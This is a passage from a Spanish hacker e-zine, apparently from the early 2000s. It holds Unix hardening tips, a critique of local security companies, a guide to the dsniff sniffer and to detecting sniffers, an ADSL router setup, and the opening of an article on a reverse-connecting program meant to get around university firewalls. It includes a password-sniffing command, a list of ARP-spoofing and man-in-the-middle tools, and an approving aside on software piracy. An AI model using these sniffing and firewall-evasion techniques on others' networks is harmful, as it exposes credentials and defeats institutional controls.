administrado  fisicamente), es  el  telnetd. Este  permite  a los  usuarios 
acceder a una consola  remota en el  sistema. Si bien, este es un  servicio 
razonablemete seguro, trae  ciertos problemas. Basicamente, la unica  forma
de explotar el telnetd es por  ataques Brute  Force. Claro que este  ataque 
generalmente es  dificil, especialmente  si  el  administrador  del sistema
establece politicas  frente a la  asignacion de  passwords. Si se  tiene un 
buen password (ej. qweR00Tyuiop) seria muy dificil, por  no decir imposible
adivinarlo. Si el  sistema da solo  espacio webhost a los  usuarios, darles
acceso  a  telnet  es  muy  riesgoso e  innesesario, ya que  esto les da la 
facultad de correr exploits locales en el  sistema. Estos  muchas veces son
mas efectivos  que los  remotos, dada la  facilidad de  acceso al  sistema. 
Ahora, si los usuarios  quieren tener  servicios de shell en  el sistema, o
el admin necesita en  ocaciones  administarcion  remota, serian  las unicas
escusas para  dejar telnet (23)operando. Si  solo  se les da una cuenta por 
ftp a los usuarios del webhost, les recomiendo dejarlas en /bin/false.

-> SMTP

Si se estan dando e-mail services, hay  que  correr smtpd. Este  permite al
servidor enviar y  recibir  e-mail, como  tambien que personas  manden mail 
anonimos a traves  de el. Es seguro en la manera  de que no permite  acceso
inmediato al sistema e inseguro por el facil monitoreo de trafico in & out.
Para solucionar estos problemas basta  con siempre tener  la ultima patched
version  de SMTP o  ESMTP (Enhanced Simple  Mail  Transfer  Protocol). Como 
recomendacion, es preferible mandar  los mail  encriptados, ojala  con PGP, 
asi cualquier info que se mueva en los mails quedara aislada a intrusos.


Perl
----

Perl  scripts, si  no  estan  escritos  con  cuidado, pueden  tambien a los 
usuarios  ver  data. Como estos  corren en una  shell e interactuan  con el 
sistema, usualmente  pueden ser trickeados  para que muestren  informacion.
Tambien  si  a los  archivos que llama  o  se  refiere  no tienen  permisos 
stringent, cualquier persona podria ver  archivos jugando  directamente con
el script.


Logs
----

Los logs se podria decir que son los bytes mas importantes para un Sysadmin.
Con los logs, se puede saber quien  entro, desde que IP, a  que hora y otras
cosas  mas. Siempre logear  todas  las  coneciones  posibles, y para los mas
paranoicos, todo paquete que llegue al sistema. Un ejemplo de  logs seria el
intento fallido de  brute force  por telnet. Si se nota  que  una  cierta IP 
trato  de   logearse como  un  usuraio  muchas  veces  y  fallo, se  deberia 
restringir esa cuenta y bloquear esa IP. Los  logs usualmente se  encuentran
en /var/log/messages y deberian ser revisados periodicamente.


Passwords
---------

Algo muy importante  son  los  passwords, ya que si este  es el nombre de la 
persona, o en el peor de los casos, es igual al  nombre de usuario,  estamos
en problemas. Los passwords de los usuarios deben ser en  lo posible mayores
de 6 caracteres y contener numeros y letras u otros tipos de  caracteres. Un
crakeador de passwords usado con un diccionario le seria imposible descifrar
un password que no sea una palabra y practicamente imposible a este mismo un
password mayor de 9 digitos que  contenga  numeros, letras  y otros tipos de
caracteres. Un ej. es VTR. Ellos han puesto politicas frente a los passwords
y  estos  deben  tener  un  minimo  de  numeros  y  letras combinados, y ser 
diferentes en el username y el password. Esta resolucion, es cuando uno pide
habilitar el espacio web que dan de hosteo. Otro politica es el cambio de la
passwd  cada cierto  tiempo,  trimestralmente puede ser. Aunque se  tenga un
buen password, y a el mismo se le conocen algunos caracteres por  que pueden
haberlo visto escribiendolo en el teclado, es  mas facil para un pass craker
descifrarlo por brute.


Firewalls
---------

Los Firewalls o Cortafuegos son muy recomendables. Es bueno asegurar que se
este corriendo uno en el gateway de la red, sino, pueden  venir  problemas. 
Estos bloquean cualquier cosa  que unos les pida, incluyendo  ataques ICMP, 
que es el mas comun  cuando uno esta siendo empaquetado. Esto  no significa
que lo va a solucionar el todo, pero  puede reducir y alentar  notablemente
el ataque si se tiene el firewall  adecuado. Algunos software de  firewalls
comunes son  el Freedom, IP Chains y  el Conceal. Tambien  hay firewalls en
hardware y routers. Los mas prestigiosos  son los Cisco  Routers, claro que 
todo depende del dinero que se tenga para poner un mejor  firewall. Algunos
usos del firewall son que derivan los  paquetes, banean IP, warnings, logs,
etc. Una buena combinacion de firewall software, seria ocupar IP Chains con
Port  Sentry. El  primero  routea los paquetes  peligrosos  mientras que el 
segundo logea  conexiones, avisa  de posibles  ataques, nega la  mayoria de 
los escaneos y otras cosas utiles.


Espero que despues de esta  lectura  se  tenga  mas  claro  lo  que  es  la 
seguridad  en  un  sistema  unix. Y  que para  los que  son nuevos en  este 
ambiente, tengan una idea de todas las variantes que hay que  tomar y todas
las medidas que se pueden adoptar  para mejorar la  seguridad. No  hay nada 
mas frustrante que ser admin y ver que alguien mas tambien lo consigio, no?

Se despide... bankzide 

www.est.cl


 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   - (con la muerte de usa.net y  tb de mi otra casilla,
no me quedo otra que el querido y nunca olvidado hotmail xDD)

Saludos: EST,  dNa Clan, filth,  Blackdoom, Kamui-X, aTr, SpX, (liderando la
scena warez en chile xD) a los cabros que se meten al #electron, a los lokos
del  #informatica  de irc.terra y  tb pal #re~aca. Se me olvidan hartos pero
filo, uds saben kiene son, shiaaa xD.



[=========================([ Electron Security Team ])===========================]

 


[====([ _5010_ ])==========================================================EST-4=]
[====([ Empresas de Seguridad ])=============================================#10=]
[========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


 La seguridad informatica es un hecho que en la actualidad esta en apogeo, con los 
llamados "Hacker" o "Llaneros solitarios  de  la  informatica". Su  nacimiento fue
apartir  de  los  80  con  la  salida  de  las  computadoras  personales  y de las 
conecciones remotas(INTERnet y su sucezora ARPAnet  ). Hoy en dia es muy frecuente
encontrar que sitios en Internet hallan sido Crakeados por  estos "Hackers" que en
su mayoria son tan solo jovenes de entre 14 a 21 a~os que buscan el reconocimiento
de entre sus pares  y  lograr  un  cierto "poder en la red", pero  los  verdaderos 
"Hacker" no se dedican a hacer Web Cracker sino por lo general pertenecen a grupos
importantes  en  materia  de seguridad. Hay que poner en claro primero que nada la
diferencia entre un "Hacker"  y  un "Cracker" el primero busca  estudiar, aprender
mas  sobre  los  distintos  Sistemas  Operativos, son  capaces  de  programar  sus
distintas herramientas para lograr haci entra a  un  Sistema, por  otra  parte  el
"Cracker" es un ser mediocre, ocupa las herramientas de otro , no sabe programar y
se dedica  a  cauzar da~o a las empresas donde el ah podido entrar.(no confundir a 
este sujeto con el otro denomido Cracker, ser amante de editores Hexadecimales, de
la ingeneria inversa etc, quien nos da la posibilidad de tener todos los programas
que deciemos sin tener que pagar ni un $$).
Lo que a nosotros concierne es el tema de la seguridad  y  los  que  ayudan  a  la
seguridad, son los "Hackers, ellos por medio de  distintas  tecnicas  que se bazan
en encontrar bug (fallas de seguridad) en  explotarlos por medio de exploit logran
penetrar a los disitintos sistemas y  por  lo  tanto asi lograr mayor seguridad ya 
que al momento de "Hackear" un  sistema casa vez se hace menos vulnerable, pero no
cerremos  nuestros  ojos  por  mas que  nos  digan  que  internet es segura eso es 
totalmente falso ya que al momento de poner  nuestra  linea  telefonica a servicio 
de nuestro ISP entramos a otro  mundo  totalemte  desconocido  en  donde  toda  la 
informacion circula libre para que a si aquellos  que sepen como sacar provecho de
ella la obtengan.

Para hacer mas dificil  la tarea de los "Hackers" y hacer  que  sea  mas seguro un 
sistema se  han creado  distintos  tipos  de  algoritmo que cifran las contrase~as 
creadas por los usuarios una de estos es el llamado DES (Data Encryption Standard)
o en un monento conocido como Lucifer( nombre puesto por IBM), lo que hace esto en
pocas  palabras  es  cifrar  la  palabra 20 veces obteniendo cada ves un resultado
diferente y luego agregarle 2 cifras  de  acuerdo  a  la hora en que fue creada la
passwd ,tambien hay  que decir que DES trabajo en comienzo con bloques de 128 bits
pero en la actualidad trabaja  sobre bloques de 64 bits (modificacion hecha por el
NBS) este tipo de algoritmo biene incluida en los Sistemas Operativo Unix y Linux,
estos sistemas son multitarea y multiusuario  por  lo  cual  necesitan  una  buena 
seguridad, a que me refiero con  multitarea , y multiusuario esto quiere decir que
diferentes personas en distintos puntos pueden usar  un solo PC haciendo distintas
aplicaciones etc,, teniendo por seguridad que sus carpetas o todo lo que ella haga
sera tan solo de su poder nadie mas podra ver lo  que  han  hecho(excepto el super 
usuario llamado root), no como Windows (sistema  operativo  en base Ms-DOS) que es
monotarea y monousuario y mas encima con seguridad minima por no decir nula.

  Por otra parte para que las  empresas y/o  usuarios  de  internet  tengan  mayor 
seguridad se han creado las  llamadas Empresas de seguridad que lo que hacen, como
su nombre lo indica es dedicarse a mantener una  seguridad estable en los sistemas
o Servidores que estan bajo su gustia, para que  asi  nadie  ajeno  a  la  empresa
pueda acceder a los datos de esta misma, pero realmente cumplen su trabajo? , para
comenzar  hablaremos  de  ORION  2000, empresa  nacional  dedicada a la "seguridad 
infomatica" su mision "Prestar servicios profecionales de excelencia en  seguridad
informatica a sus clientes, con el  objetivo de proteger sus  valiosos  activos de
informacion, apoyando el desarrollo de  sus  actuales  y  futuros  negocios", esto 
suena muy bonito pero responde a la pregunta planteada, cumplen su trabajo? por un
punto de vista si, pero es acaso muy dificil parchar un servidor acaso hay que ser
super dotado para  mantener  algo  seguro pues no, tan solo hay que ser agil en el 
sentido de mantenerse al tanto de los ultimos bug, por que la mayoria  de  servers
que han sido "Hackeados" no han sido por la gran genilidad de un "chico" sino  por
la ineptitud de un supesto  y  asi  mismo  llamado "Adminstrador" quien cree saber 
todo por tener un carton  universitario, a lo mejor esto no se cumple un 100% pero
estoy totalmente  seguro  que  por lo menos un 90% si, esto no quiere desmerecer a 
los  "chicos"  que  hayan logrado entrar si no demuestra que ah este pais le falta
mucho  para  poder  decir  " Si, nuestros sistemas son seguros", pero por mientras
tendremos que seguir con la politica del que tiene un  carton  Universitario  sabe
mas que un "chico" de 15 a~os, lo cual mirado por un  cierto punto de vista quizas
si, pero en lo que es conocer de fallos y de como  explotarlos no se la gana nadie
o mejor dicho ningun administrador, volviendo al punto de ORION 2000 , estos tipos
se llenan  la  boca  diciendo  textualmente "Las  vulnerabilidades de los sistemas
aumentan  cada  dia  mas, debido  a  que  las  aplicaciones son mas complejas, los
fabricantes estan mas preocupados de vender  sus  productos que de la seguridad de
estos y hay mas personas investigando y buscando nuevas fallas."

De por cierto ustedes no son esas personas, o acaso  esta "empresa  de  seguridad"
ah ofrecido alguna vez o a  expresado  publicamente  o  mejor dicho a puesto en su
pagina web (http://www.orion.cl) algun  bug, falla, problema, tipo de ataque, etc,
encontrada por ellos? pues no, realmente con lo que  ellos  expresan sobre que hay
gente que investiga  y buscan nuevas fallas, es que esa gente no son ellos, por lo
menos si se dan una vuelta por su web se podran dar cuenta que sus temas  son  muy
semejantes a hispasec, yo le digo a  los  se~ores  de  ORION  2000  han encontrado
alguna vez  alguna  falla  de  seguridad  que  no  sea  parchar? esta interrogante 
quedara siempre en mi mente pero ya todos sabes la respuesta.

Para continuar hablaremos sobre otra "empresa de seguridad" llamada  AC  Security,
sin duda esta empresa tendra mucho que decir en el ambito de  seguridad , extracto
de un folleto de AC  Security , "AC  Security  ha  tomado  la  representacion de 6 
empresas, cuyo ambito  de  accion se define muy brevemente de la siguiente manera:
eSecurity, que posee una herramienta  que permite realizar monitoreos de enveto de
seguridad en tiempo real  ( representacion  exclusiva para chile); CyberGuard, que
es la alternativa mas adecuada  y  competitiva  en  el  mundo  de  los  firewall's 
( representacion exclusiva para  chile);  RedCreek,  que  brinda  dispositivos  de
hardware  y  software  para  la  encriptacion  de  informacion  entre  dos puntos;
VIGILANTE, empresa que suministra Auditorias de  Seguridad  utilizando  mas  de 12
herramientas de ataques, brindando 7 distintos tipos de reportes a analizar por el
cliente  con  la   problematica   detectada;" Se  quedaron  sin  nombrar  Computer 
Associates   y   Invent,   bueno   para   mas   informacion  pueden  dirigirse   a 
http://www.acsecurity.cl , la critica se la dejo en  sus  manos pero como es facil
deducir que hasta el momento AC  Security  da  mas  confianza y por su parte no se 
creen superiores como ORION  2000  siendo obviamente mucho mas que ORION, pero sin
duda la mejor seguridad  es  aquella que se llama informacion ya que si leemos las
ultimas informaciones  y  estamos  al  tanto  de  todo lo que pasa en este ambito, 
estas empresas pasarian hacer nada mas que  del  recuerdo. Pero se preguntaran que
se entiende  por  seguridad  informatica, bueno  se  lo  dejamos  a  cada  uno  de 
ustedes, pero  a  mi  gusto  la  seguridad  no  es  defender  el  PC  con un serco 
electrificado  (  para  que  no  accedan   fisicamente)  ni  tampoo  comprarse  un
InstaGate EX2 (Firewall), sino es pensar  que  la  seguridad  es  tan  solo  tomar 
conciencia de que lo unico  seguro, es  que  la seguridad no es segura, por que si
alguien quiere entrar a algun  Servidor o nuestro PC hay que tenerlo por hecho que
lo hara, depende de nosotros  que tan facil se lo hagamos. 

Cual quier critica sobre este articulo me la pueden enviar a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

					Saludos

								_5010_

Antes que se me olvide un saludo a todas las MADRES del #quake2, tb ah  _AxLr_,
Kunstman,Cotetinha,_CuCh1Ta_,_[Squall]_,Heero y al cara.


[=========================([ Electron Security Team ])===========================]




[====([ carcoco ])=========================================================EST-4=]
[====([ Introduccion a los sniffer's y anti-sniffers ])======================#11=]
[====================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]

Maxima seguridad con dsniff. El sniffer total.

Dsniff   nos demuestra  lo inseguras que  son nuestras  redes,  sobretodo  si nos
empenamos en enviar contrasenas en  formato  texto  plano.  Con este sniffer, nos
daremos cuenta de los realmente importante que puede llegar a ser la  utilizacion
de la encriptacion en nuestras comunicaciones diarias...
   
Tal y como dice el autor del programa Dug Song, el  desarrollo  esta  potentisima
aplicacion para auditar sus propias redes y para demostrar la necesidad   de usar
encriptacion de un modo habitual. "Please do not abuse this software"
   
Gracias a dsniff, tenemos un motivo mas para usar diariamente  herramientas  como
ssh (la version 2, porque  la  1  tiene  algunos  problemas  de  seguridad  y  es
vulnerable) y gpg (Gnu pgp)
   
Para haceros una idea de las posibilidades del dsniff, conectaros a Internet como
lo haceis habitualmente, en otra sesion como root teclear:

# dsniff -i ppp0

Ahora bajaros el correo, entrad en algun servidor/servicio que os pida contrasena
y vereis como por arte de magia vais capturando los pares usuario:contrasena.
   
Entrad ahora usando ssh y vereis como en este caso nuestro sniffer no  captura la
contrasena. ;-)
   
dsniff esta formado por una serie de programas que son:

   * dsniff: simple password sniffer. (Yo realmente no lo consideria nada simple)
   * arpspoof: redirect packets from a target host (or all hosts) on the LAN intended
     for another host on the LAN by forging ARP replies.
   * dnsspoof: forge replies to arbitrary DNS address / pointer queries on the LAN.
   * filesnarf: saves selected files sniffed from NFS traffic in the current working
     directory.
   * macof: flood the local network with random MAC addresses.
   * mailsnarf: a fast and easy way to violate the Electronic Communications Privacy
     Act of 1986 (18 USC 2701-2711), be careful.
   * msgsnarf: record selected messages from sniffed AOL Instant Messenger, ICQ 2000,
     IRC, and Yahoo! Messenger chat sessions.
   * sshmitm: SSH monkey-in-the-middle.
   * tcpkill: kills specified in-progress TCP connections.
   * tcpnice: slow down specified TCP connections via "active" traffic shaping. (Se
     puede usar para evitar virus/gusanos tipo NIMDA). Os recomiendo que os paseis por:
     http://bulmalug.net/body.phtml?nIdNoticia=865
   * urlsnarf: output all requested URLs sniffed from HTTP traffic in CLF (Common Log
     Format, used by almost all web servers), suitable for offline post-processing
   * webmitm: HTTP / HTTPS monkey-in-the-middle.
   * webspy: sends URLs sniffed from a client to your local Netscape browser for
     display, a fun party trick
       
Pagina web del dsniff:
http://www.monkey.org/~dugsong/dsniff/
Ademas de la version actual la 2.3, podemos encontrar una beta de la nueva version
que esta en desarrollo con nuevas caracteristicas.

http://www.monkey.org/~dugsong/dsniff/beta/dsniff-2.4b1.tar.gz
   
Mas informacion:
ftp://www6.software.ibm.com/software/developer/library/s-sniff.pdf
ftp://www6.software.ibm.com/software/developer/library/s-sniff2.pdf
   
   Simplemente I M P R E S I O N A N T E .
   
En el proximo articulo os mostrare como detectar sniffer's en nuestra red local.

- http://bulmalug.net/body.phtml?nIdNoticia=928

Deteccion de sniffers usando Linux
==================================

Un sniffer es un programa que captura todo el trafico que pasa por la red,de forma
que  ejecutado  en  una  red local, permiten  obtener  pares  (usuario:contrasena)
rapidamente.

Suele funcionar de forma pasiva, siendo muy  dificiles de detectar, aunque existen
algunas tecnicas que nos permitiran averiguar si tenemos espias en nuestra red ...
   
Existen multitud de sniffer's  en  Linux, cada  cual  con  sus  peculiaridades  y
caracteristicas, pero uno de los mas potentes y que  mas me gusta, es  dsniff, os
recomiendo la lectura del articulo:Maxima seguridad con dsniff. El sniffer total.

     _________________________________________________________________
   
   Advertencia: Detectar un sniffer es sumamente dificil, por no decir,
   que si esta correctamente configurado y oculto usando otras tecnicas,
   es practicamente imposible detectarlos. Aqui intentare dar algunas
   ideas y consejos para que conozcais de que va el tema.
     _________________________________________________________________
   

Se dan 2 situaciones distintas:
   * Consulta directa de las interfaces de red.
   * NO es posible la consulta directa de las interfaces de red.
       
Consulta directa de las interfaces de red.
   
En el primer caso lo que tendremos que hacer es mirar el estado de las  diferentes
interfaces de redes que tengamos en dicho equipo. La forma mas habitual e utilizar
el comando ifconfig (paquete net-tools), aunque podemos usar otros como ifstatus o
cpm (check for network interfaces in promiscuous mode).
   
Aqui os muestro como el resultado del comando ifconfig antes y despues de ejecutar
el sniffer en una maquina FreeBSD:

$ ifconfig
fxp0: flags=8843 mtu 1500

Estando el sniffer en ejecucion, podemos  ver  en  la  primera  linea  la  palabra
"PROMISC", que nos revela el estado de la tarjeta de red:
$ ifconfig
fxp0: flags=8943 mtu 1500

Normalmente cuando la interface pasa a   modo  promiscuo, queda  reflejado  en  el
fichero de logs, tal y como podemos ver aqui.
# cat /var/log/messages
.
Nov 20 08:51:20 maquineta
         /kernel: fxp0: promiscuous mode enabled
.

Aunque es la forma mas sencilla y directa  de  detectar  un  sniffer, tampoco  es
infalible, puesto que aun estando en marcha el sniffer puede que no  aparezca  la
interfaz como promiscuos sobretodo si han crackeado la maquina y  le  han  metido
un LKM del estilo del RhideS v1.0 (rhides.c en 7a69#12): "Is usualy to install  a
sniffer when you hack some system, but if you do it,the net device is established
to promisc mode and if the admin is inteligent must to discover the sniffer.Using
RhideS you can to hide some promisc mode interface easily.  Inserting  the module
you can specify magic words."
   
Otras posibles medidas para detectar el sniffer son:
  * Controlar y detectar los logs que genera el sniffer.
  * Controlar las conexiones al exterior, por ejemplo,  el  envio  sospechoso  de
    e-mail a cuentas extranas.
  * Utilizar  la  herramienta  lsof  (LiSt Open Files),  de  forma  que  tengamos
    monitorizados los programas que acceden al dispositivo de red.
       
NO es posible la consulta directa de las interfaces de red.
   
En caso de que no podamos acceder y consultar el estado de las interfaces de red,
puesto que el sniffer no esta en nuestra maquina sino que se encuentra en alguna
otra maquina de la red. Lo que tendremos que hacer, es utilizar algun defecto en
la implementacion concreta del protocolo TCP/IP por algun programa/comando  (tal
y como hace el programa neped respecto a el arp) o ingeniarnoslas para averiguar
de alguna forma si tenemos algun sniffer corriendo en la red:
   
"Una de las posibles  tecnicas,  consiste  en  enviar  paquetes  a  una  maquina
inexistente y cuya direccion no esta dada de alta en el servidor de nombres.
Sabremos que tenemos un sniffer en  nuestra  red  si  posteriormente  detectamos
cualquier intento de acceso a la maquina ficticia".
   
Antisniff, del que tenemos incluso el codigo fuentes en la version Unix,  es  una
de las mejores herramientas de deteccion  de  sniffer  de  forma  remota,  aunque
quizas este  un  poquitin  obsoleto,  sobretodo  porque  no  contempla  la  nueva
generacion de sniffers.

AntiSniff is a new class of proactive security monitoring tool.It has the ability
to scan a network and detect whether or not any computers are in promiscuous mode
This is often a sign that  a  computer  has  been  compromised.  With  AntiSniff,
administrators and security teams can finally get a handle  on  who  is  watching
network traffic at their site.
Antisniff was designed to detect compromized machines with IP stacks that a remote
attacker could utilize to sniff network traffic. It was  not  designed  to  detect
hardware based network probes  or  special  purpose  network  analyzers  which  an
attacker would need physical access to install. 
   
Sentinel es otra interesante herramienta, cuyo objetivo principal es
la deteccion remota de sniffers. Utiliza las librerias libcap y libnet
y tenemos el codigo fuente disponible.
The sentinel project is an implementation of effective remote
promiscuous detection techniques.For portability purposes, the
sentinel application uses the libpcap and libnet libraries. 
   
Por ultimo comentar la existencia de una curiosa herramienta:
AntiAntiSniffer Sniffer, cuyo objetivo es detectar la ejecucion en la
red del Antisniff, evitando ser detectado por el mismo.
  
Conclusion: Recordar (una vez mas) la necesidad de usar encriptacion a
diario en TODAS nuestras comunicaciones: S/key, gpg, SSH, SSL,
Firewall, VPNs, etc...
   
Enlaces:
  * dsniff: http://www.monkey.org/~dugsong/dsniff/
  * sniffit: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html
  * net-tools:http://www.tazenda.demon.co.uk/phil/net-tools/
  * neped.c:http://www.securityfocus.com/data/tools/neped.c
  * Ifstatus:
    http://www.ja.net/CERT/Software/ifstatus/ifstatus2.2.tar.gz
  * cpm, ifsolstat: http://www.ja.net/CERT/Software/sniffdetect/
  * 7a69ezine: http://www.7a69ezine.org/
  * lsof: http://freshmeat.net/redir/lsof/6029/url_changelog/
  * Antisniff: http://www.l0pht.com/antisniff/
    http://www.securityfocus.com/data/tools/anti_sniff_researchv1-1-2.tar.gz
  * Sentinel: http://www.packetfactory.net/Projects/sentinel/
  * libnet: http://www.packetfactory.net/Projects/libnet
  * libpcap: http://www.tcpdump.org
  * Anti Antisniff: http://www.securityfocus.com/data/tools/aass.c
  * sniffing-faq: http://www.robertgraham.com/pubs/sniffing-faq.html
  * Sniffing (network wiretap, sniffer) FAQ:
    http://cs.baylor.edu/~donahoo/tools/sniffer/sniffingFAQ.htm

- http://bulmalug.net/body.phtml?nIdNoticia=1016

EST: Saludos a la gente de Bulmalug (www.bulmalug.net), por el apoyo brindado.

[=========================([ Electron Security Team ])===========================]





[====([ Toleran-C & Silen-C ])=============================================EST-4=]
[====([ Configuracion Segura y Optima de la red Adsl/Atm ])==================#12=]
[=========================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]

Este texto esta escrito unicamente  con fines  didacticos. El autor no  se  hace
responsable  del  mal  uso  que  se  pueda  dar a esta informacion,  ni  se hace
responsable de  los programas que lleve incluidos. Si  el  computador  se quema,
si se borra el disco duro o si un perro te  muerde  al  ejecutarlos, no reclames
al autor.


INTRODUCCION

La  potencia   de  los  computadores  actuales  es  tremendamente superior a esos 
peque~os computadores  que  nos  traen   en  forma  de  routers/modem ADSL y ATM.
Aparte de  la velocidad, con los computadores  actuales podemos controlar toda la
potencia de la linea a nuestro gusto, controlar  mucho  mejor  la  seguridad  del
sistema, control del BandWidth por IP o por servicio (QoS), etc... 
En este articulo  vamos  a  intentar traspasar todas las funciones del  router al 
computador que haga de servidor, por supuesto yo recomiendo que este  tenga linux
si se trata de un PC.

La idea que hay tras de este h4ckx0r, es imponerle al router una IP falsa, que ni
siquiera tenemos  routeada a nuestra LAN, y poner la IP fija verdadera (la que da
Telefonica)en el computador.
Con ello conseguiremos que el router  pase todos los paquetes como si  se tratase
de un modem y ademas  conseguiremos  que los servicios  del router (estadisticas, 
tftp, snmp)... no  puedan ser accesibles desde fuera, ya  que su IP es falsa y no
accesible desde inet.
Ademas, con esta configuracion vamos a conseguir que nuestros raw  sockets viajen 
libremente por la red sin que se queden en el modem/router, y  podremos  utilizar 
utilidades como nmap, hacer spoof, etc...

El problema que tendremos que solucionar es el de la comunicacion entre  router y
host, si ponemos una IP aleatoria al router no podremos accederle como gateway ya
 que su ip no pertenecera a la red local del host.
Por lo tanto la ip del router debe pertenecer obligatoriamente al conjunto de ips 
de la red local del host.
Para perder la cantidad minima de ips de la red del host, la solucion se presenta 
en forma de sub-nets, nos crearemos una subred de 4 ips, una  para  el  host, una 
para el router, una broadcast, y una de red.

Bien, pasemos a la faena:

Ejemplo:
Tenemos 2 computadores en nuestra intranet + 
1 computador que hara de servidor +
un modem/router ADSL con  IP=214.23.112.53
La configuracion que nos "recomienda" telefonica consiste en tener IP's locales
en todos los computadores de la intranet y tener la IP fija  de Internet + 1 ip
local en el router/modem y activar NAT en el router.

Esto es totalmente ineficiente/inseguro, el codigo que llevan la mayoria de los
routers tiene bugs y backdoors por doquier, dejar al alcance  Internet un bicho
semejante se ha de calificar como minimo de muy  peligroso. (Para  ilustrar con 
un ejemplo se me pasa  por  la  cabeza  las  default  communities del snmp, los 
ataques DoS a los CISCO con los GET ? en el servidor http, los errores de stack
y consiguientes bloqueos tras scanneo con nmap -f, y blah blah blah, etc, etc.)


MANOS A LA OBRA

La idea fundamental que  hay tras de la configuracion que queremos  realizar es
la de crear una sub-red que la formara el router/modem y el servidor; para ello
y para ver los maximos ordenadores posibles  pondremos  una  mascara  de subred 
255.255.255.252, esto nos permite tener 4 ips  en la subred, 2 estan reservadas
(ip de red, y  ip  broadcast)  y  las  otras  2  seran  las  que  vayan  en  el 
router/switch y en el computador. En nuestro ejemplo  tendremos  lo  siguiente.

IP que nos da Telefonica 214.23.112.53

configuracion a poner:
IP de red=214.23.112.52
IP 1, ordenador servidor=214.23.112.53
IP 2, ordenador servidor=192.168.0.1
IP modem/router=214.23.112.54
IP broadcast=214.23.112.55
mask=255.255.255.252

IP's ordenadores locales: 192.168.0.x (ejem: 192.168.0.1, 192.168.0.2, 192.168.0.3 )

IP gateway para todos los computadores Intranet 192.168.0.1 si se quiere hacer NAT.
( Gateway sinonimo de Puerta de Enlace )

CONEXIONES

Al PC que hara de servidor le meteremos  2  tarjetas  de  red (con  1  tambien se
podria hacer utilizando las IP Alias, pero  es  mas  ineficiente  por motivos que
se salen del objetivo de este articulo, y hay que tener en cuenta que una tarjeta
de red sale por unos .000 en el bio bio ), a una le asignaremos una IP local, y
a la otra le asignaremos la IP de telefonica. Despues le activaremos  el NAT para
que toda la intranet tenga acceso y configuraremos el firewall, el QoS y  todo lo
que queramos.



En el modem/router  le  meteremos  las IP's calculadas de red, local y broadcast, 
pondremos la mascara expuesta arriba y activaremos la funcion router y quitaremos
todas las demas opciones (NAT, firewall, etc...).

Ahora el router es un fantasma inaccesible por internet, aunque  nosotros podemos
llegar hasta el sin  ningun  problema  desde  nuestra  intranet  con la  nueva IP 
asignada.


DIAGRAMA DE RESULTADO FINAL


computador 1
192.168.0.2              server(computador 3)  (NAT/Masqerade)
___       switch/hub        192.168.0.1___
| |-----|_|----------------------------| | 
---      |                            --- 214.23.112.53 
        _|_                     conex.  |
         | |                    directa    |          ipbroadcast=214.23.112.55
        ---                    ethernet  |          ipred=214.23.112.52
        computador 2                 |            mask=255.255.255.252
        192.168.0.3                   /\
                                       /  \ router ADSL
                                      /__\ 214.23.112.54
                                         |
                                         |
                                      INTERNET



CONCLUSIONES

Con esto hemos traspasado todo el poder al ordenador, la seguridad del sistema
ahora esta centralizada y dependera unica y exclusivamente de la configuracion
del ordenador servidor. La unica pega de este H4x0R es que no podremos acceder
a los 3 ordenadores vecinos de  Internet  que  llevan  las IP's 214.23.112.52,
214.23.112.54,214.23.112.55, aunque  con  toda  seguridad estos seran hosts de 
adsl que ni siquiera tendran servicios activos. 





COMO ACCEDER A SERVICIOS EN HOSTS QUE ESTAN DETRAS DE 
PROXYS / NAT / FIREWALLS

INTRODUCCION

Cada vez es mas usual encontrarnos con computadores que solo  tienen salida
a Internet y no permiten conexiones entrantes. Esto  es debido  basicamente
a dos motivos:

1.Falta de IP de Internet (es decir, que el computador va bajo NAT o PROXY)
y el cual solo tiene una IP local.

2.Reglas de Firewall que impiden la entrada de paketes de conexion hacia el
host.


Como se pudo deducir( y algunos facturado),estos computadores solo se pueden 
utilizar  para  conexiones  salientes  de  protocolos  simples, por  ejemplo 
navegar  por la web, hacer ftp's pasivos (los activos no funcionaran como ya
se discutira),etc..
Este hecho nos impide tener servicios de cualquier tipo, y esto  es  lo  que
vamos a intentar H4x0RI4R.

OBJETIVO

Nuestro  objetivo  es  crear  un  programa  que  nos  permita acceder a los 
servicios que hay tras de estos hosts. Ejemplo practicos:

Crear servidores ftp en cualquier ordenador de  la  universidad  accesibles 
desde Internet evitando todos los firewalls de la universidad.

Acceder a todos los ordenadores locales de la universidad  desde  Internet.


Es decir, queremos acceder a todos los servicios de  estos  hosts "ocultos"
desde un ordenador externo,
evitando todos los filtros del firewall o los efectos  colaterales  del NAT 
y PROXYS. 
Para esto, vamos a necesitar:

Ejecutar un programa en uno de los hosts que este detras del proxy/fire que
nos permita entrar desde cualquier lugar de Internet a todos sus  servicios
(http, ftp, etc...), asi como a todos los servicios  de  los  hosts  de  su
intranet.

Como era de esperar necesitaremos crear tambien un programa en el ordenador
cliente desde el que queremos entrar para que todos los programas  clientes
(ftp,navegador,etc...) no se den cuenta del cambio realizado  y  no  tengan 
que preocuparse de ip's locales ni nada por el estilo.

A partir de ahora llamaremos controlador al ordenador que  tiene conexion a
Internet y  quiere  conectarse  a  un  ordenador  que  esta  detras  de  un 
proxy/fire. Llamaremos esclavo al ordenador que esta detras del proxy/fire.

El principio de funcionamiento es  sencillo, el  esclavo  se  conectara  al 
controlador  con  una  conexion  saliente que  evite los firewalls locales.
 A partir de ese momento  el  controlador  a  traves  de  esa conexion dara 
mandatos  al  esclavo  para  recibir  mas  conexiones a los puertos locales 
que el quiera y desde el host y puerto remoto que mande.

Ademas  implementaremos  los  programas  para  que  sean  cliente/servidor, 
multithreaded  y  de  conexion  permanente para utilizar una unica conexioon
para todo tipo  de  servicios  y  con  multiples conexiones y con multiples
esclavos distintos, tambien vigilaremos bien la reconexion de esa  conexion
principal, ya que es el unico lazo que nos une con los esclavos.

Para comenzar implementaremos el  programa  controlador  para  linux, y  el 
programa esclavo para ordenadores que corran Windows 9X/NT/2000, ya que son
lo que normalmente nos vamos a encontrar en todos sitios.

Antes de comenzar en faena, para seguir este articulo vais a  necesitar una 
